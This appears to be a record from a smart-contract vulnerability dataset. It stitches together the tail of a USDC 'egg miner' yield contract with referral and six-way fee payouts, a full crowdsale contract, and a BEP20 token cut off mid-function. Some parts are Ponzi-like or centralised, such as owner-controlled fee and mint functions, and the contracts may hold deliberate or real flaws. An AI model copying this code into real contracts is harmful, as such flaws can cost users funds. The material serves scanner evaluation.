uint256 eggsPayout = eggValue.sub(payFees(eggValue));
token_USDC.transfer(msg.sender, eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function hireFarmers(address ref, uint256 amount) public{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(amount >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(amount) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
token_USDC.transferFrom(address(msg.sender), address(this), amount);
uint256 eggsBought = calculateEggBuy(amount, getBalance().sub(amount));
user.userDeposit = user.userDeposit.add(amount);
user.initialDeposit = user.initialDeposit.add(amount);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = amount.mul(REFERRAL).div(PERCENTS_DIVIDER);
token_USDC.transfer(upline, refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(amount);
totalStaked = totalStaked.add(amount.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hireMoreFarmers(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
token_USDC.transfer(dev1, tax);
token_USDC.transfer(dev2, tax);
token_USDC.transfer(dev3, tax);
token_USDC.transfer(prtnr1, tax);
token_USDC.transfer(prtnr2, tax);
token_USDC.transfer(mkt, tax);
return tax.mul(6);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function initialize(uint256 amount) public{
if (!contractStarted) {
if (msg.sender == mkt) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 86400000000;
hireFarmers(owner, amount);
} else revert("Contract not yet started.");
}
}
function getBalance() public view returns (uint256) {
return token_USDC.balanceOf(address(this));
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = value;
}
function CHANGE_DEV1(address value) external {
require(msg.sender == owner, "Admin use only.");
dev1 = value;
}
function CHANGE_DEV2(address value) external {
require(msg.sender == owner, "Admin use only.");
dev2 = value;
}
function CHANGE_DEV3(address value) external {
require(msg.sender == owner, "Admin use only.");
dev3 = value;
}
function CHANGE_PARTNER1(address value) external {
require(msg.sender == owner, "Admin use only.");
prtnr1 = value;
}
function CHANGE_PARTNER2(address value) external {
require(msg.sender == owner, "Admin use only.");
prtnr2 = value;
}
function CHANGE_MKT_WALLET(address value) external {
require(msg.sender == owner, "Admin use only.");
mkt = value;
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%, 1080000 - 8%
// 959000 - 9%, 864000 - 10%, 720000 - 12%, 575424 - 15%, 540000 - 16%, 479520 - 18%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 2592000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 100);
TAX = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 800);
WITHDRAWAL_TAX = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 24);
COMPOUND_STEP = value * 60 * 60;
}
function SET_MIN_INVEST_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e6;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 20);
WALLET_DEPOSIT_LIMIT = value * 1e6;
}
}
| 111,384 | 1,717 |
b1644a3bb596f18a247a4c0f620431aa02328c65f5e3122363e07dbf3c22a7db
| 30,196 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x235dcf36b309ea22d00903c28534e0e34a42e90b.sol
| 4,739 | 17,715 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public pure returns(bool) {
return true;
}
function isSane() public view returns (bool);
function finalizeCrowdsale() public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) revert();
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) revert();
_;
}
modifier onlyInEmergency {
if (!halted) revert();
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMath for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// The rules were changed what kind of investments we accept
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
// Crowdsale end time has been changed
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) public {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
revert();
}
if(_start == 0) {
revert();
}
startsAt = _start;
if(_end == 0) {
revert();
}
endsAt = _end;
// Don't mess the dates
if(startsAt >= endsAt) {
revert();
}
// Minimum funding goal can be zero
minimumFundingGoal = _minimumFundingGoal;
}
function() payable public {
revert();
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
// Determine if it's a good time to accept investment from this participant
if(getState() == State.PreFunding) {
// Are we whitelisted for early deposit
if(!earlyParticipantWhitelist[receiver]) {
revert();
}
} else if(getState() == State.Funding) {
// Retail participants can only come in when the crowdsale is running
// pass
} else {
// Unwanted state
revert();
}
uint weiAmount = msg.value;
// Account presale sales separately, so that they do not count against pricing tranches
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
// Dust transaction
require(tokenAmount != 0);
// set minimum investment
if(tokenAmount < 50) revert();
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
}
// Check that we did not bust the cap
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) revert();
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function doFinalize() public inState(State.Success) onlyOwner stopInEmergency {
// Already finalized
if(finalized) {
revert();
}
// Finalizing is optional. We only call it if we are given a finalizing agent.
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
finalizeAgent = addr;
// Don't allow setting bad agent
if(!finalizeAgent.isFinalizeAgent()) {
revert();
}
}
function setEndsAt(uint time) public onlyOwner {
if(now > time) {
revert(); // Don't change past
}
if(startsAt > time) {
revert(); // Prevent human mistakes
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
pricingStrategy = _pricingStrategy;
// Don't allow setting bad agent
if(!pricingStrategy.isPricingStrategy()) {
revert();
}
}
function setMultisig(address addr) public onlyOwner {
// Change
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
revert();
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) revert();
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) revert();
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) revert();
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) public onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) public onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public pure returns (bool) {
return true;
}
//
// Modifiers
//
modifier inState(State state) {
if(getState() != state) revert();
_;
}
//
// Abstract functions
//
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public view returns (bool limitBroken);
function isCrowdsaleFull() public view returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract PricingStrategy {
function isPricingStrategy() public pure returns (bool) {
return true;
}
function isSane(address) public pure returns (bool) {
return true;
}
function isPresalePurchase(address) public pure returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public view returns (uint tokenAmount);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardTokenExt is StandardToken {
function isToken() public pure returns (bool weAre) {
return true;
}
}
contract MintableToken is StandardTokenExt, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply_ = totalSupply_.add(amount);
balances[receiver] = balances[receiver].add(amount);
// This will make the mint transaction apper in EtherScan.io
// We can remove this after there is a standardized minting event
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
// Only crowdsale contracts are allowed to mint new tokens
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
if(mintingFinished) revert();
_;
}
}
contract WINCrowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function WINCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) public {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = fullTokens * weiPrice; // This can be also 0, we give out tokens for free
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
assignTokens(receiver, tokenAmount);
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount, 0);
}
function bitcoinInvest(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
// Determine if it's a good time to accept investment from this participant
if(getState() == State.PreFunding) {
// Are we whitelisted for early deposit
if(!earlyParticipantWhitelist[receiver]) {
revert();
}
} else if(getState() == State.Funding) {
// Retail participants can only come in when the crowdsale is running
// pass
} else {
// Unwanted state
revert();
}
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = fullTokens * weiPrice; // This can be also 0, we give out tokens for free
// Dust transaction
require(tokenAmount != 0);
// increase investors count
investorCount++;
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
//Update Totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
// Check that we did not bust the cap
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount, 0);
}
function invest(address addr) public payable {
if(requireCustomerId) revert(); // Crowdsale needs to track participants for thank you email
if(requiredSignedAddress) revert(); // Crowdsale allows only server-side signed participants
investInternal(addr, 0);
}
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) public onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
contract WaWlletTokenCrowdsale is WINCrowdsale {
uint public maximumSellableTokens;
function WaWlletTokenCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) WINCrowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) public {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint , uint , uint , uint tokensSoldTotal) public view returns (bool) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public view returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) internal {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
function () public payable {
invest(msg.sender);
}
}
| 209,211 | 1,718 |
8a45495b7ef1d6dd7db8cef20228ca9d6eaba9007746255f1a2f8e66441f420e
| 9,446 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xf4341fA52669cea0c1836095529A7E9B04b8b88D/contract.sol
| 2,811 | 9,201 |
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() internal onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Satozhi is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _accountPoB;
mapping (address => uint256) private _accountTs;
uint256 private _blockRewards = 5000000000;
uint256 private _blockSpacing = 600;
uint256 private _contractPoB;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "Satozhi";
_symbol = "SATOZ";
_decimals = 8;
_totalSupply = 2100000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function blockRewards() external view returns (uint256) {
return _blockRewards;
}
function blockSpacing() external view returns (uint256) {
return _blockSpacing;
}
function contractPoB() external view returns (uint256) {
return _contractPoB;
}
function accountPoB(address account) external view returns (uint256) {
return _accountPoB[account];
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
uint256 virtualBalance = _virtualRewards(account);
return _balances[account] + virtualBalance;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_balanceRewards(_msgSender());
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_balanceRewards(_msgSender());
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_balanceRewards(sender);
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_balanceRewards(_msgSender());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_balanceRewards(_msgSender());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _virtualRewards(address account) internal view returns (uint256) {
uint256 _timediff = block.timestamp-_accountTs[account];
uint256 _blocks = uint256(_timediff/_blockSpacing);
if (_timediff>0 && _blocks>0 && _accountTs[account]>0) {
uint256 _portion = uint256((100000000*_accountPoB[account])/_contractPoB);
uint256 _rewards = uint256(((_portion*_blockRewards)/100000000)*_blocks);
return _rewards;
} else {
return 0;
}
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_balanceRewards(_msgSender());
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_balanceRewards(_msgSender());
_burn(_msgSender(), amount);
return true;
}
function _balanceRewards(address account) internal {
uint256 _timediff = block.timestamp-_accountTs[account];
uint256 _blocks = uint256(_timediff/_blockSpacing);
if (_timediff>0 && _blocks>0 && _accountTs[account]>0) {
uint256 _portion = uint256((100000000*_accountPoB[account])/_contractPoB);
uint256 _rewards = uint256(((_portion*_blockRewards)/100000000)*_blocks);
uint256 _modulus = uint256(_timediff%_blockSpacing);
_balances[account] = _balances[account]+_rewards;
_accountTs[account] = block.timestamp-_modulus;
_totalSupply = _totalSupply+_rewards;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_balanceRewards(account);
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
function ProofOfBurn(uint256 amount) public returns (bool) {
